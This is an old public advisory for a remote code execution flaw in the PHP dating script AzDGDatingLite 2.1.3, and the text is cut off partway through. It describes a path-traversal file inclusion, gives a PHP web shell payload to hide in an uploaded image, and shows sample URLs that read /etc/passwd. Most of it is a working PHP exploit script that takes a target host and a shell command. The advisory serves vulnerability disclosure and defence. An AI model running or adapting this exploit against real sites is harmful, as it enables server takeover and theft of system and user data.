Bug: AzDGDatingLite V 2.1.3 remote code execution (WLB-2005090005 Ascii Version)

English Version
WLB2

CVE WLB2

 Topic: AzDGDatingLite V 2.1.3 remote code execution
 Credit: retrogod aliceposta it
 Date: 2005.09.13
 CWE: N/A
 CVE: CVE-2005-2951 (Show details)

Use CVE to see details like:
- CVSS2,
- Affected Software,
- References

Risk
Local
Remote
High
No
Yes

AzDGDatingLite V 2.1.3 (possibly prior versions) remote code execution

(not yet tested the Platinum version)

software:
site: http://www.azdg.com/
download page: http://www.azdg.com/scripts.php?l=english
description:" AzDGDatingLite is a Free dating script working on PHP and MySQL.
Multilanguage, Multitemplate, quick/simple search, feedback with webmaster, Admin maillist,
Very customizable " etc.

vulnerability:

look at the vulnerable code in ./include/security.inc.php at lines ~80-90

...
else
{
if (isset($l) && file_exists(C_PATH.'/languages/'.$l.'/'.$l.'.php') && $l != '')
{
include_once C_PATH.'/languages/'.$l.'/'.$l.'.php';
include_once C_PATH.'/languages/'.$l.'/'.$l.'_.php';
}
...

you can include arbitrary file on the server using "../" and null byte (%00) (to truncate path to
the filename you choose), example:

http://[target]/[path]/azdg//include/security.inc.php?l=../../../../../.
./../[filename.ext]%00

at the begin of the script we have:

@ob_start();

look at the php ob_ start man page :

"This function will turn output buffering on. While output buffering is active no output is
sent from the script (other than headers), instead the output is stored in an internal buffer."

However, this is not a secure way to protect a script:
buffer is never showned, so you cannot see arbitrary file from the target machine this time ... but
you can execute arbirtrary commands and after to see any file :) :

when you register to azdg you can upload photos, so you can upload and include a gif or jpeg file like this:

<?php error_reporting(0); system($HTTP_GET_VARS[cmd].' > temp.txt'); ?>

usually photos are uploaded to ./members/uploads/[subdir]/[newfilename].[ext]
azdg calculates [subdir] & [newfilename] using date(), time() and rand() functions
you cannot calculate but you can retrieve the filename from azdg pages when file
is showned on screen (!), so you can do this:

http://[target]/[path]/azdg//include/security.inc.php?l=../../../members
/uploads/[subdir]/[filename.ext]%00&cmd=cat%20/etc/passwd

the output will be redirected to ./include/temp.txt

so you make a GET request of this file and you have /etc/passwd file

this is my proof of concept exploit:

<?php
# azdgexpl.php #
# #
# AzDGDatingLite V 2.1.3 ( possibly prior versions) remote code execution #
# with generic http proxy support #
# #
# by rgod #
# site: http://rgod.altervista.org #
# #
# make these changes in php.ini if you have troubles #
# to launch this script: #
# allow_call_time_pass_reference = on #
# register_globals = on #
# #
# usage: launch this script from Apache, fill requested fields, then #
# go! #
# #
# Sun-tzu: "Therefore, I say: Know your enemy and know yourself; in a #
# hundred battles, you will never be defeated. When you are ignorant #
# of the enemy but know yourself, your chances of winning or losing #
# are equal. If ignorant both of your enemy and of yourself, you are #
# sure to be defeated in every battle." #
# #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<head><title>AzDGDatingLite V 2.1.3 remote commands execution</title><meta
http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style type=
"text/css"> <!-- body,td,th {color: #00FF00;} body {background-color: #000000;}
.Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
.Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: bold;
font-style: italic; } --> </style></head> <body> <p class="Stile6"> AzDGDatingLi
te V 2.1.3 (possibly prior versions) remote commands execution</p><p class="Stil
e6">a script by rgod at <a href="http://rgod.altervista.org" target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td
width="43%"> <form
name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=value&host=
value&port=value&command=value&proxy=value&uploaddir=value"> <p> <input type=
"text" name="host"><span class="Stile5">hostname (ex: www.sitename.com)
</span>
</p><p><input type="text" name="path"><span class="Stile5"> path
(ex: /azdg/ or
just /) </span></p><p><input type="text" name="port" > <span
class="Stile5">
specify a port other than 80 (default value) </span></p><p> <input type="text"
name="command"> <span class="Stile5"> a Unix command , example: ls -la to list
directories, cat /etc/passwd to show passwd file </span></p><p><input type="text
" name="proxy"> <span class="Stile5"> send exploit through an HTTP proxy (ip:por
t</span></p> <p> <input type="submit"name="Submit"
value="go!"></p></form></td>
</tr></table></body></html>';

function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td> </td>";
}

for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}

$proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)';

function sendpacket($packet)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);}
else
{
if (!eregi($proxy_regex,$proxy))
{echo htmlentities($proxy).' -> not a valid proxy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{

$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}

if (($path<>'') and ($host<>'') and ($command<>''))
{
if ($port=='') {$port=80;}

# step 1 -> register and upload the evil jpeg file

srand(make_seed());
$anumber=rand(10000,99999);

//do not modify absolutely CRLF and spaces here...
$data='-----------------------------23281168279961
Content-Disposition: form-data; name="l"

default

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